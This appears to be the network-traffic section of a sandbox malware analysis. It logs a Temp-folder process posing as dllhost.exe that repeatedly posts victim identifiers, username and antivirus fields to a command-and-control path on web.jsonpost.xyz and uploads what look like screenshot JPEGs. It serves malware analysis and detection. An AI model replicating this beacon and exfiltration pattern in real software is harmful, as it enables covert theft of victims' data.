Nov 29, 2024 01:52:18.180198908 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:18.180248976 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:18.180275917 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:18.180454016 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:18.180474043 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:18.180536032 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:18.300163984 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49755	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:18.968494892 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:19.807667017 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:19.807710886 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:19.807790995 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:19.807980061 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:19.927830935 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:19.927946091 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:19.928033113 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:19.928077936 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:19.928167105 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:19.928189039 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:20.048192024 CET	6180	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49757	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:20.328190088 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:21.314338923 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:21.314412117 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:21.314488888 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:21.314515114 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:21.434545994 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:21.434587002 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:21.434691906 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:21.434691906 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:21.434771061 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:21.434823036 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:21.434892893 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:21.756469011 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:22.842962980 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:22.843040943 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:22.843097925 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:22.843209982 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:22.964282036 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:22.964304924 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:22.964353085 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:22.964371920 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:22.964453936 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:22.964494944 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:22.964823008 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:23.233619928 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
